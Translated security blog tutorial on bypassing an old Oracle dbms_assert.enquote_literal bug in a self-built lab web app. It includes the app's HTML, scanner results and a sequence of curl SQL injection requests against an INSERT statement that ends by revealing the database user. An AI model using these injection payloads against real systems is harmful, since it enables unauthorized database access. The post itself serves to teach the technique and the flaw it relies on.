检测并实现绕过DBMS_ASSERT


本文翻译自: http://obtruse.syfrtext.com/2018/04/detecting-and-implementing-dbmsassert.html


概述

上一篇文章讨论了旧版本的Oracle dbms_assert.enqoute_literal方法中的一个bug,这个bug可能让攻击者绕过SQL注入保护并使系统数据泄露。

本文将探讨“real-world” 一个绕过dbms_assert的方案,以及一些非标准的SQL注入方法。

Web应用程序

就这个例子而言,我构建了一个简单(而且很丑)的Web应用程序,它允许用户在表中插入记录和搜索该表中的记录。

Web应用程序是使用modowa和Oracle XE数据库构建的。

基本功能

应用程序本身非常简单,它允许用户输入新请求:


它还允许用户在任何输入的字段中搜索现有的请求:

内部程序

查看Web应用程序的html,我们可以看到两个调用搜索和插入操作的句柄的AJAX。

<html>
<head>
<title>Service Request Board</title>
<script>
function loadRequests() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
     document.getElementById("open").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "/pls/public/portal.pkg_service_requests.get_requests?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true);
  xhttp.send();
}
function addRequest() {
 var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
     document.getElementById("open").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "/pls/public/portal.pkg_service_requests.add_request?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true);
  xhttp.send();

}
</script>
<body onload="loadRequests()">
<div name="title"><h1>Service Request Page</h1></div>
<div name="requests">
<h2>Open Requests</h2>
<div id="open" name="open">
<!-- load content via ajax -->
</div>
<div name="form">
<div><span>Type: <input id="p_request_type" type="text"></span></div>
<div><span>Name: <input id="p_requestor" type="text"></span></div>
<div><span>Email: <input id="p_email" type="text"></span></div>
<div><span>Description: <input id="p_description" type="text"></span>
<div><span><button name="search" onClick="loadRequests()">Search</button></span>
<span><button name="add" onClick="addRequest()">Add Request</button></span></div>
</div>
</body>
</html>

如果我们curl上面java脚本函数中看到的两种方法,我们可以更好地遵循服务器交互。

curl -v "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&[email protected]&p_description=BATMAN"

curl http://192.168.1.5//pls/public/portal.pkg_service_requests.get_requests?p_description=BAT

扫描应用程序

现在我们已经基本了解了应用程序的工作原理,我们可以使用标准工具(如OWASP ZAP和sqlmap)进行一些扫描。请记住,insert方法(pkg_service_requests.add_request)容易受到SQL注入的攻击。

虽然OWASP ZAP检测到该服务易受跨站点脚本攻击,但它不会检测到SQL注入的漏洞。

我们甚至在服务请求应用程序中看到了ZAP SQL注入尝试的示例。

Sqlmap的性能略优于OWASP ZAP。从下面的屏幕截图中可以看出,扫描程序成功检测到后端使用了Oracle数据库,输入参数有被轻易注入的可能,但是,sqlmap最终还是无法成功注入系统。




绕过DBMS_ASSERT

传统的SQL注入方法是将整个注入有效负载包含在一个输入参数中,通过传输单引号或双引号来输出输入值。

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&[email protected]&p_description=BATMAN'%20or%201=1"

正如我们所看到的,当我们尝试使用这种形式的注入时,服务器会返回Oracle错误。

但是,在上一篇文章我们已经提到过,如果正在使用旧版本的dbms_assert.enqoute_literal,我们就可以通过传递单引号(一个')来尝试脱离输入环节。在下面的curl语句中,单引号传递给p_email输入参数。

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"

现在,我们看到一个SQL语法错误:ORA-00917缺少逗号,而不是PL/SQL数值或值错误。我们找到了注射路径。但是,有一个小问题:我们的注入点在insert语句中。这意味着正常的SQL注入方法(如附加到where子句或UNION注入)将达不到这个效果,因为查询数据不会返回给服务器。

Insert注入语句

虽然我们不能使用简单的SQL注入方法,但我们可以将Oracle内置的变量和函数注入insert语句,使其从系统中收集一些信息。例如,Oracle内置函数USER和SYSDATE将告诉我们一些关于系统的信息,并且能让我们清楚地知道我们的注入路径是否能正常工作。

手动注入服务需要一点时间和反复的试验(试错法),但成功执行最终会显示用于服务连接的数据库用户的名称。

在我们手动注入服务器之前,快速回顾一下oracle插入语法和常见的oracle插入错误。

用这些错误作为参考点,我们可以运行初始注入:

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"

这与ORA-00917一样:缺少逗号错误,并且很容易添加逗号:

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,"

结果是ORA-01756:引用的字符串未正确终止的错误。我们不能没有冲击dbms_assert保护就来添加单个'来终止字符串。但是我们可以用oracle注释来随后引用 - :

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,--"

我们现在收到ORA-00936:缺少表达式,因为我们没有用任何数据填充插入列。我们将使用Oracle内置的USER函数来测试:

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER--"

我们现在看到另一个ORA-00917:缺少逗号错误。这可能意味着我们需要添加另一个记录字段,或者它可能意味着我们缺少insert语句的右括号。如果我们尝试后者,我们将会看到我们注入成功。

curl  "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER)--"

我们可以看到最终的注入语句成功执行,并显示了Oracle数据库用户的名称(PORTAL_USER)。

如何处理Insert

初步看来,对Insert语句的SQL注入攻击具有很大的潜在破坏力,但对数据的泄露几乎没有用处。下一篇文章将展示如何使用各种方法使用基于insert语句的攻击向量来查询数据。

源链接

Hacking more

...